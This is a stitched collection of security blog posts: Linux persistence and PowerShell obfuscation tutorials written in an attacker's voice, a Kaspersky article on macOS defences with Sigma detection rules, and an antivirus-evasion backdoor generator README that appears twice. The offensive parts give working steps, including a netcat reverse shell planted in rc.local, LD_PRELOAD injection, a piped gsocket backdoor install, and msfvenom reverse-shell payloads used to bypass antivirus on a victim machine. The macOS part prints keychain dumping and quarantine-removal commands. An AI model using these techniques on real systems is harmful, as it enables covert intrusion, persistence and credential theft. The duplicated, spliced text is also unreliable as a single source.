This method is a pure OS-level manipulation. It leaves no malicious process in memory, but its success depends entirely on your ability to later connect directly to the host. In targeted intrusions, it is often combined with other persistence methods to ensure redundancy.

LD_PRELOAD

Using LD_PRELOAD for persistence takes advantage of a legitimate dynamic linking feature in Linux to inject custom code into every newly launched process. The LD_PRELOAD environment variable tells the dynamic linker to load a specified shared library before any others, allowing our code to override or hook standard library functions in user-space applications. This approach can be used to execute arbitrary logic, including establishing a shell or logging credentials.

First we create a meter.c file which will later be compiled into meter.so

target# > nano meter.c

Then the payload is compiled with the following command:

c2 > gcc -fPIC -shared -o meter.so meter.c

Next you write the path to your shared object (meter.so) into /etc/ld.so.preload. This file is consulted by the dynamic linker globally, meaning every dynamically linked binary will load the specified library, regardless of which user runs it. This requires root privileges.

target#> echo /path/to/meter.so >> /etc/ld.so.preload

Then you add an export LD_PRELOAD=/path/to/meter.so line to /etc/profile, ensuring that all users who log in through an interactive shell will have the environment variable set automatically

target#> echo export LD_PRELOAD=/path/to/meter.so >> /etc/profile

This command does the same but only for a single user by appending the export command to that user’s ~/.bashrc

target$> echo export LD_PRELOAD=/path/to/meter.so >> ~/.bashrc

Pros: Survives reboots, works under any user account, and can be applied system-wide or per-user. It allows the injected code to run within the context of legitimate processes, making detection harder.

Cons: The execution interval is uncontrolled, as code runs only when a new process starts, so reconnection timing is less predictable than with scheduled tasks or services.

rc.local

Persistence via rc.local relies on a legacy startup mechanism in Linux systems. The /etc/rc.local script, if present and executable, is run automatically by the init system once at the end of the multi-user boot sequence. By inserting a command into this file, we can ensure our payload executes automatically the next time the system restarts.

target#> echo "nc C2_IP 8888 -e /bin/bash &" >> /etc/rc.local

This appends a netcat command to /etc/rc.local that, when executed, connects back to our host on port 8888 and spawns /bin/bash, providing an interactive reverse shell. The ampersand (&) runs it in the background so it does not block the rest of the boot process.

Because rc.local executes only once during startup, the payload will not continuously attempt reconnection. It will run a single time after each reboot. If the connection fails at that moment, for instance, if your listener is not ready or the network link is down, no further attempts will be made until the next reboot.

Pros: Survives reboots and is simple to implement.

Cons: Requires root privileges to modify /etc/rc.local, and the execution interval is uncontrolled, it runs only once per boot, offering no retry mechanism between reboots.

While this method is straightforward and low-profile, it is limited in reliability. In modern Linux distributions, rc.local is often disabled by default or replaced by systemd service files, making it more of a legacy technique. For attackers seeking long-term, automated persistence, it’s usually combined with other methods that retry connections or run continuously.

Gsocket

Gsocket is a cloud relay both sides connect to, linking their outbound connections into a single encrypted two-way tunnel. From our perspective as attackers, that’s gold: we don’t need an open inbound port on the victim, we don’t have to wrestle with NATs or port-forwards, and a single cloud broker becomes a C2 for many targets. Long-lived outbound TLS-like streams blend into normal egress traffic, so the connection looks far less suspicious than an exposed listener.

We like Gsocket, because it massively reduces operational overhead. There is less infrastructure to maintain and much better success rates in restrictive networks because everything is outbound.

Here is how you install it on the target:

target# > bash -c "$(wget --no-verbose -O- https://gsocket.io/y)"

target$ > bash -c "$(wget --no-verbose -O- https://gsocket.io/y)"

Next, install it on your C2 and access it with the secret key

c2 > sudo apt install gsocket

c2 > gs-netcat -s “secret key” -i

More information can be found here:

https://www.gsocket.io/deploy

Pros: A stealthy way to establish remote access, pivot, exfiltrate data, or maintain a backdoor, especially in complex network environments.

Cons: Leaves traces, like persistent scripts or network access patterns and reliance on a shared secret requires careful secret management.

Summary

In part two, we stepped away from the basics and explored persistence and access techniques that push deeper into stealth and adaptability. We started with in-memory backdoors, great for situations where avoiding detection matters more than surviving a reboot. We then moved on to persistence through config changes, such as creating hidden users in /etc/passwd, which survive reboots without needing any malicious process running. After that, we covered LD_PRELOAD, a dynamic linker trick that quietly injects code into normal processes. We looked at rc.local for quick, legacy-style startup hooks, and wrapped up with gsocket, a tunneling tool that can keep a lifeline open even through restrictive firewalls or NAT.

Together, these two parts give you a layered approach: fast, simple persistence to hold your ground, plus stealthy, advanced techniques to stay in control for the long haul.

The post Advanced Linux Persistence: Strategies for Remaining Inside a Linux Target first appeared on Hackers Arise.

Hello aspiring cyberwarriors! 

In modern intrusion scenarios, being inside the system is often not the hardest part. The real challenge begins once you need to stay there without being noticed. Blue teams in well-defended environments rely on continuous monitoring, heavy logging, and SIEM tools such as Splunk or Elastic to track activity. They know what normal user behavior looks like, and they build alerts around suspicious deviations. A compromised workstation that suddenly starts running recon commands immediately raises red flags. At that point, the defender does not need to guess. The investigation begins, and you risk being locked out before making any progress.

For this reason, hackers must rely on obfuscation. Although it does not make commands invisible, it helps you make them much harder to recognize. By transforming payloads and commands into strange, broken-looking forms, you can slip through detection systems that depend on simple pattern matching. In this article we will look at three tools that bring obfuscation to PowerShell: psobf, a Golang-based obfuscator; Argfuscator, which focuses on disguising Windows command arguments; and PowerShell Script Obfuscator by I-Am-Jakoby, which relies on encoding and multi-layered transformations. Together, these tools give you flexible ways to conceal actions and extend dwell time in hostile environments.

Psobf

Repo:

https://github.com/TaurusOmar/psobf

Psobf, short for PowerShell Obfuscator, is a Golang-based project released in the summer of 2024 and under active development. The tool requires Go 1.25.0 or newer on Linux. Once installed, it makes obfuscating PowerShell payloads fast and customizable.

Installing Go

bash$ > wget https://go.dev/dl/go1.25.0.linux-amd64.tar.gz  

bash$ > rm -rf /usr/local/go && tar -C /usr/local -xzf go1.25.0.linux-amd64.tar.gz  

bash$ > echo "export PATH=$PATH:/usr/local/go/bin" >> /etc/profile  

bash$ >  source /etc/profile  

Installing psobf

Now we are ready to install the tool. Based on their GitHub page, the installation is plain and simple:

bash$ > go install github.com/TaurusOmar/psobf/cmd/psobf@latest

Then append this line to /etc/profile:

export PATH=$PATH:/root/go/bin

Obfuscating a Reverse Shell

With psobf installed, we can generate and obfuscate a reverse shell, for instance one taken from revshells.com. Obfuscation is as simple as choosing an input script, an output file, and a level of transformation:

bash$ > psobf -i revshell.ps1 -o obf.ps1 -level 5

Once moved to the target and executed, the obfuscated shell works as expected, giving us a stealthier connection while hiding the command’s real nature.

Argfuscator

Argfuscator is designed to help evade static filters that defenders apply to common commands. Security teams often set alerts around specific keywords and arguments. For example, they may detect whoami, net user, or netstat -ano. Running such commands directly can immediately give you away.

Argfuscator transforms these commands into broken-looking but still functional versions. The tool uses a mix of random case changes, quotation tricks, regex replacements, shorthand expansions, and other substitutions. Out of the box, it supports obfuscation of 68 Windows commands, which is sufficient for most basic recon and persistence tasks.

The resulting output may look unreadable, but that is the point.

SIEM filters are less effective, and the commands execute successfully despite their appearance. Argfuscator is especially useful for day-to-day stealth during a long intrusion.

PowerShell Script Obfuscator

The PowerShell Script Obfuscator by I-Am-Jakoby provides a broader set of transformations. Rather than focusing on arguments, it targets entire scripts. The tool can obfuscate PowerShell code through Base64, Hex, ASCII encoding, URL encoding, binary representations, or even string reversal. By layering these methods, scripts become unreadable to humans and resistant to simple inspection by defenders.

For example, a reverse shell can be wrapped in Base64 and executed with the -e flag:

PS > powershell -e "..."

With Netcat listening, the obfuscated payload delivers the connection as expected.

The real advantage comes from stacking methods. A script that passes through binary encoding, then string reversal, and finally Base64 will look entirely random until decoded step by step. Even if defenders capture the obfuscated script, the time required to peel back multiple layers creates breathing room for the hacker. This extra time can mean the difference between completing objectives and being cut off mid-operation.

Summary

Evading detection is tricky. In tightly watched environments, blunt actions like running plain recon commands, dropping unaltered scripts are immediate invitations for investigation. The point of obfuscation is about making your activity harder to recognize at a glance, forcing automated systems to miss patterns and making human analysts spend time untangling noise. This gives you time to complete tasks before defenders have a clear picture.

We covered tools that give you different ways to add that friction without changing the underlying behavior of your code. One hides the shape of PowerShell payloads, another mangles command arguments so simple keyword rules fail, and a third layers encodings so a script looks meaningless until decoded. Used together, they don’t guarantee success, but they raise the bar for both detection systems and the people who must investigate what they find.

The post PowerShell for Hackers: Evading Detection first appeared on Hackers Arise.

If a system is popular with users, you can bet it’s just as popular with cybercriminals. Although Windows still dominates, second place belongs to macOS. And this makes it a viable target for attackers.

With various built-in protection mechanisms, macOS generally provides a pretty much end-to-end security for the end user. This post looks at how some of them work, with examples of common attack vectors and ways of detecting and thwarting them.

Overview of macOS security mechanisms

Let’s start by outlining the set of security mechanisms in macOS with a brief description of each:

1. Keychain – default password manager
2. TCC – application access control
3. SIP – ensures the integrity of information in directories and processes vulnerable to attacks
4. File Quarantine – protection against launching suspicious files downloaded from the internet
5. Gatekeeper – ensures only trusted applications are allowed to run
6. XProtect – signature-based anti-malware protection in macOS
7. XProtect Remediator – tool for automatic response to threats detected by XProtect

Keychain

Introduced back in 1999, the password manager for macOS remains a key component in the Apple security framework. It provides centralized and secure storage of all kinds of secrets: from certificates and encryption keys to passwords and credentials. All user accounts and passwords are stored in Keychain by default. Access to the data is protected by a master password.

Keychain files are located in the directories ~/Library/Keychains/, /Library/Keychains/ and /Network/Library/Keychains/. Besides the master password, each of them can be protected with its own key. By default, only owners of the corresponding Keychain copy and administrators have access to these files. In addition, the files are encrypted using the reliable AES-256-GCM algorithm. This guarantees a high level of protection, even in the event of physical access to the system.

However, attacks on the macOS password manager still occur. There are specialized utilities, such as Chainbreaker, designed to extract data from Keychain files. With access to the file itself and its password, Chainbreaker allows an attacker to do a local analysis and full data decryption without being tied to the victim’s device. What’s more, native macOS tools such as the Keychain Access GUI application or the /usr/bin/security command-line utility can be used for malicious purposes if the system is already compromised.

So while the Keychain architecture provides robust protection, it is still vital to control local access, protect the master password, and minimize the risk of data leakage outside the system. Below is an example of a Chainbreaker command:

python -m chainbreaker -pa test_keychain.keychain -o output

As mentioned above, the security utility can be used for command line management, specifically the following commands:

• security list-keychains – displays all available Keychain files

Keychain files available to the user

• security dump-keychain -a -d – dumps all Keychain files

Keychain file dump

• security dump-keychain ~/Library/Keychains/login.keychain-db – dumps a specific Keychain file (a user file is shown as an example)

To detect attacks of this type, you need to configure logging of process startup events. The best way to do this is with the built-in macOS logging tool, ESF. This allows you to collect necessary events for building detection logic. Collection of necessary events using this mechanism is already implemented and configured in Kaspersky Endpoint Detection and Response (KEDR).

Among the events necessary for detecting the described activity are those containing the security dump-keychain and security list-keychains commands, since such activity is not regular for ordinary macOS users. Below is an example of an EDR triggering on a Keychain dump event, as well as an example of a detection rule.

Example of an event from Kaspersky EDR

Sigma:

title: Keychain access
description: This rule detects dumping of keychain
tags:
    - attack.credential-access
    - attack.t1555.001
logsource:
    category: process_creation
    product: macos
detection:
    selection:
		cmdline: security
		cmdline: 
			-list-keychains
			-dump-keychain
    condition: selection
falsepositives:
    - Unknow
level: medium

SIP

System Integrity Protection (SIP) is one of the most important macOS security mechanisms, which is designed to prevent unauthorized interference in critical system files and processes, even by users with administrative rights. First introduced in OS X 10.11 El Capitan, SIP marked a significant step toward strengthening security by limiting the ability to modify system components, safeguarding against potential malicious influence.

The mechanism protects files and directories by assigning special attributes that block content modification for everyone except trusted system processes, which are inaccessible to users and third-party software. In particular, this makes it difficult to inject malicious components into these files. The following directories are SIP-protected by default:

• /System
• /sbin
• /bin
• /usr (except /usr/local)
• /Applications (preinstalled applications)
• /Library/Application Support/com.apple.TCC

A full list of protected directories is in the configuration file /System/Library/Sandbox/rootless.conf. These are primarily system files and preinstalled applications, but SIP allows adding extra paths.

SIP provides a high level of protection for system components, but if there is physical access to the system or administrator rights are compromised, SIP can be disabled – but only by restarting the system in Recovery Mode and then running the csrutil disable command in the terminal. To check the current status of SIP, use the csrutil status command.

Output of the csrutil status command

To detect this activity, you need to monitor the csrutil status command. Attackers often check the SIP status to find available options. Because they deploy csrutil disable in Recovery Mode before any monitoring solutions are loaded, this command is not logged and so there is no point in tracking its execution. Instead, you can set up SIP status monitoring, and if the status changes, send a security alert.

Example of an event from Kaspersky EDR

Sigma:

title: SIP status discovery
description: This rule detects SIP status discovery
tags:
    - attack.discovery
    - attack.t1518.001
logsource:
    category: process_creation
    product: macos
detection:
    selection:
	cmdline: csrutil status
    condition: selection
falsepositives:
    - Unknow
level: low

TCC

macOS includes the Transparency, Consent and Control (TCC) framework, which ensures transparency of applications by requiring explicit user consent to access sensitive data and system functions. TCC is structured on SQLite databases (TCC.db), located both in shared directories (/Library/Application Support/com.apple.TCC/TCC.db) and in individual user directories (/Users/<username>/Library/Application Support/com.apple.TCC/TCC.db).

Contents of a table in the TCC database

The integrity of these databases and protection against unauthorized access are implemented using SIP, making it impossible to modify them directly. To interfere with these databases, an attacker must either disable SIP or gain access to a trusted system process. This renders TCC highly resistant to interference and manipulation.

TCC works as follows: whenever an application accesses a sensitive function (camera, microphone, geolocation, Full Disk Access, input control, etc.) for the first time, an interactive window appears with a request for user confirmation. This allows the user to control the extension of privileges.

TCC access permission window

A potential vector for bypassing this mechanism is TCC Clickjacking – a technique that superimposes a visually altered window on top of the permissions request window, hiding the true nature of the request. The unsuspecting user clicks the button and grants permissions to malware. Although this technique does not exploit TCC itself, it gives attackers access to sensitive system functions, regardless of the level of protection.

Example of a superimposed window

Attackers are interested in obtaining Full Disk Access or Accessibility rights, as these permissions grant virtually unlimited access to the system. Therefore, monitoring changes to TCC.db and managing sensitive privileges remain vital tasks for ensuring comprehensive macOS security.

File Quarantine

File Quarantine is a built-in macOS security feature, first introduced in OS X 10.5 Tiger. It improves system security when handling files downloaded from external sources. This mechanism is analogous to the Mark-of-the-Web feature in Windows to warn users of potential danger before running a downloaded file.

Files downloaded through a browser or other application that works with File Quarantine are assigned a special attribute (com.apple.quarantine). When running such a file for the first time, if it has a valid signature and does not arouse any suspicion of Gatekeeper (see below), the user is prompted to confirm the action. This helps prevent running malware by accident.

Example of file attributes that include the quarantine attribute

To get detailed information about the com.apple.quarantine attribute, use the xattr -p com.apple.quarantine <File name> command. The screenshot below shows an example of the output of this command:

• 0083 – flag for further Gatekeeper actions
• 689cb865 – timestamp in hexadecimal format (Mac Absolute Time)
• Safari – browser used to download the file
• 66EA7FA5-1F9E-4779-A5B5-9CCA2A4A98F5 – UUID attached to this file. This is needed to database a record of the file

Detailed information about the com.apple.quarantine attribute

The information returned by this command is stored in a database located at ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2, where it can be audited.

Data in the com.apple.LaunchServices.QuarantineEventsV2 database

To avoid having their files quarantined, attackers use various techniques to bypass File Quarantine. For example, files downloaded via curl, wget or other low-level tools that are not integrated with File Quarantine are not flagged with the quarantine attribute.

Bypassing quarantine using curl

It is also possible to remove the attribute manually using the xattr -d com.apple.quarantine <filename> command.

Removing the quarantine attribute

If the quarantine attribute is successfully removed, no warning will be displayed when the file is run, which is useful in social engineering attacks or in cases where the attacker prefers to execute malware without the user’s knowledge.

Running a file without a File Quarantine check

To detect this activity, you need to monitor execution of the xattr command in conjunction with -d and com.apple.quarantine, which implies removal of the quarantine attribute. In an incident related to macOS compromise, also worth investigating is the origin of the file: if it got onto the host without being flagged by quarantine, this is an additional risk factor. Below is an example of an EDR triggering on a quarantine attribute removal event, as well as an example of a rule for detecting such events.

Example of an event from Kaspersky EDR

Sigma:

title: Quarantine attribute removal
description: This rule detects removal of the Quarantine attribute, that leads to avoid File Quarantine
tags:
    - attack.defense-evasion
    - attack.t1553.001
logsource:
    category: process_creation
    product: macos
detection:
    selection:
		cmdline: xattr -d com.apple.quarantine
    condition: selection
falsepositives:
    - Unknow
level: high

Gatekeeper

Gatekeeper is a key part of the macOS security system, designed to protect users from running potentially dangerous applications. First introduced in OS X Leopard (2012), Gatekeeper checks the digital signature of applications and, if the quarantine attribute (com.apple.quarantine) is present, restricts the launch of programs unsigned and unapproved by the user, thus reducing the risk of malicious code execution.

The spctl utility is used to manage Gatekeeper. Below is an example of calling spctl to check the validity of a signature and whether it is verified by Apple:

Spctl -a -t exec -vvvv <path to file>

Checking an untrusted file using spctl

Checking a trusted file using spctl

Gatekeeper requires an application to be:

• either signed with a valid Apple developer certificate,
• or certified by Apple after source code verification.

If the application fails to meet these requirements, Gatekeeper by default blocks attempts to run it with a double-click. Unblocking is possible, but this requires the user to navigate through the settings. So, to carry out a successful attack, the threat actor has to not only persuade the victim to mark the application as trusted, but also explain to them how to do this. The convoluted procedure to run the software looks suspicious in itself. However, if the launch is done from the context menu (right-click → Open), the user sees a pop-up window allowing them to bypass the block with a single click by confirming their intention to use the application. This quirk is used in social engineering attacks: malware can be accompanied by instructions prompting the user to run the file from the context menu.

Example of Chropex Adware using this technique

Let’s take a look at the method for running programs from the context menu, rather than double-clicking. If we double-click the icon of a program with the quarantine attribute, we get the following window.

Running a program with the quarantine attribute by double-clicking

If we run the program from the context menu (right-click → Open), we see the following.

Running a program with the quarantine attribute from the context menu

Attackers with local access and administrator rights can disable Gatekeeper using the spctl –master disable or --global-disable command.

To detect this activity, you need to monitor execution of the spctl command with parameters –master disable or --global-disable, which disables Gatekeeper. Below is an example of an EDR triggering on a Gatekeeper disable event, as well as an example of a detection rule.

Example of an Kaspersky EDR event

Sigma:

title: Gatekeeper disable
description: This rule detects disabling of Gatekeeper 
tags:
    - attack.defense-evasion
    - attack.t1562.001
logsource:
    category: process_creation
    product: macos
detection:
    selection:
	cmdline: spctl 
	cmdline: 
		- '--master-disable'
		- '--global-disable'
    condition: selection

Takeaways

The built-in macOS protection mechanisms are highly resilient and provide excellent security. That said, as with any mature operating system, attackers continue to adapt and search for ways to bypass even the most reliable protective barriers. In some cases when standard mechanisms are bypassed, it may be difficult to implement additional security measures and stop the attack. Therefore, for total protection against cyberthreats, use advanced solutions from third-party vendors. Our Kaspersky EDR Expert and Kaspersky Endpoint Security detect and block all the threats described in this post. In addition, to guard against bypassing of standard security measures, use the Sigma rules we have provided.

AviAtor Ported to NETCore 5 with an updated UI

AV|Ator

About://name

AV: AntiVirus

Ator: Is a swordsman, alchemist, scientist, magician, scholar, and engineer, with the ability to sometimes produce objects out of thin air (https://en.wikipedia.org/wiki/Ator)

About://purpose

AV|Ator is a backdoor generator utility, which uses cryptographic and injection techniques in order to bypass AV detection. More specifically:

• It uses AES encryption in order to encrypt a given shellcode
• Generates an executable file which contains the encrypted payload
• The shellcode is decrypted and injected to the target system using various injection techniques

[https://attack.mitre.org/techniques/T1055/]:

1. Portable executable injection which involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue.

2. Thread execution hijacking which involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended.

Usage

The application has a form which consists of three main inputs (See screenshot bellow):

1. A text containing the encryption key used to encrypt the shellcode
2. A text containing the IV used for AES encryption
3. A text containing the shellcode

Important note: The shellcode should be provided as a C# byte array.

The default values contain shellcode that executes notepad.exe (32bit). This demo is provided as an indication of how the code should be formed (using msfvenom, this can be easily done with the -f csharp switch, e.g. msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=XXXX -f csharp).

After filling the provided inputs and selecting the output path an executable is generated according to the chosen options.

RTLO option

In simple words, spoof an executable file to look like having an "innocent" extention like 'pdf', 'txt' etc. E.g. the file "testcod.exe" will be interpreted as "tesexe.doc"

Beware of the fact that some AVs alert the spoof by its own as a malware.

Set custom icon

I guess you all know what it is :)

Bypassing Kaspersky AV on a Win 10 x64 host (TEST CASE)

Getting a shell in a windows 10 machine running fully updated kaspersky AV

Target Machine: Windows 10 x64

1. Create the payload using msfvenom

   msfvenom -p windows/x64/shell/reverse_tcp_rc4 LHOST=10.0.2.15 LPORT=443 EXITFUNC=thread RC4PASSWORD=S3cr3TP4ssw0rd -f csharp

2. Use AVIator with the following settings

   Target OS architecture: x64

   Injection Technique: Thread Hijacking (Shellcode Arch: x64, OS arch: x64)

   Target procedure: explorer (leave the default)

3. Set the listener on the attacker machine

4. Run the generated exe on the victim machine

Installation

Windows:

Either compile the project or download the allready compiled executable from the following folder:

https://github.com/Ch0pin/AVIator/tree/master/Compiled%20Binaries

Linux:

Install Mono according to your linux distribution, download and run the binaries

e.g. in kali:

   root@kali# apt install mono-devel 
   
   root@kali# mono aviator.exe

Credits

To Damon Mohammadbagher for the encryption procedure

Disclaimer

I developed this app in order to overcome the demanding challenges of the pentest process and this is the ONLY WAY that this app should be used. Make sure that you have the required permission to use it against a system and never use it for illegal purposes.

Hello aspiring ethical hackers. In this article, you will learn about Nim malware and how hackers are using it to bypass Antivirus solutions. “Cyber Security researchers at ProofPoint were tracking a hacking operation they named as TA800. TA800 had a common mode of operation. They send personalized phishing emails containing a link to a supposed […]

The post Nim Malware and AV Evasion appeared first on Hackercool Magazine.

AviAtor Ported to NETCore 5 with an updated UI

AV|Ator

About://name

AV: AntiVirus

Ator: Is a swordsman, alchemist, scientist, magician, scholar, and engineer, with the ability to sometimes produce objects out of thin air (https://en.wikipedia.org/wiki/Ator)

About://purpose

AV|Ator is a backdoor generator utility, which uses cryptographic and injection techniques in order to bypass AV detection. More specifically:

• It uses AES encryption in order to encrypt a given shellcode
• Generates an executable file which contains the encrypted payload
• The shellcode is decrypted and injected to the target system using various injection techniques

[https://attack.mitre.org/techniques/T1055/]:

1. Portable executable injection which involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue.

2. Thread execution hijacking which involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended.

Usage

The application has a form which consists of three main inputs (See screenshot bellow):

1. A text containing the encryption key used to encrypt the shellcode
2. A text containing the IV used for AES encryption
3. A text containing the shellcode

Important note: The shellcode should be provided as a C# byte array.

The default values contain shellcode that executes notepad.exe (32bit). This demo is provided as an indication of how the code should be formed (using msfvenom, this can be easily done with the -f csharp switch, e.g. msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=XXXX -f csharp).

After filling the provided inputs and selecting the output path an executable is generated according to the chosen options.

RTLO option

In simple words, spoof an executable file to look like having an "innocent" extention like 'pdf', 'txt' etc. E.g. the file "testcod.exe" will be interpreted as "tesexe.doc"

Beware of the fact that some AVs alert the spoof by its own as a malware.

Set custom icon

I guess you all know what it is :)

Bypassing Kaspersky AV on a Win 10 x64 host (TEST CASE)

Getting a shell in a windows 10 machine running fully updated kaspersky AV

Target Machine: Windows 10 x64

1. Create the payload using msfvenom

   msfvenom -p windows/x64/shell/reverse_tcp_rc4 LHOST=10.0.2.15 LPORT=443 EXITFUNC=thread RC4PASSWORD=S3cr3TP4ssw0rd -f csharp

2. Use AVIator with the following settings

   Target OS architecture: x64

   Injection Technique: Thread Hijacking (Shellcode Arch: x64, OS arch: x64)

   Target procedure: explorer (leave the default)

3. Set the listener on the attacker machine

4. Run the generated exe on the victim machine

Installation

Windows:

Either compile the project or download the allready compiled executable from the following folder:

https://github.com/Ch0pin/AVIator/tree/master/Compiled%20Binaries

Linux:

Install Mono according to your linux distribution, download and run the binaries

e.g. in kali:

   root@kali# apt install mono-devel 
   
   root@kali# mono aviator.exe

Credits

To Damon Mohammadbagher for the encryption procedure

Disclaimer

I developed this app in order to overcome the demanding challenges of the pentest process and this is the ONLY WAY that this app should be used. Make sure that you have the required permission to use it against a system and never use it for illegal purposes.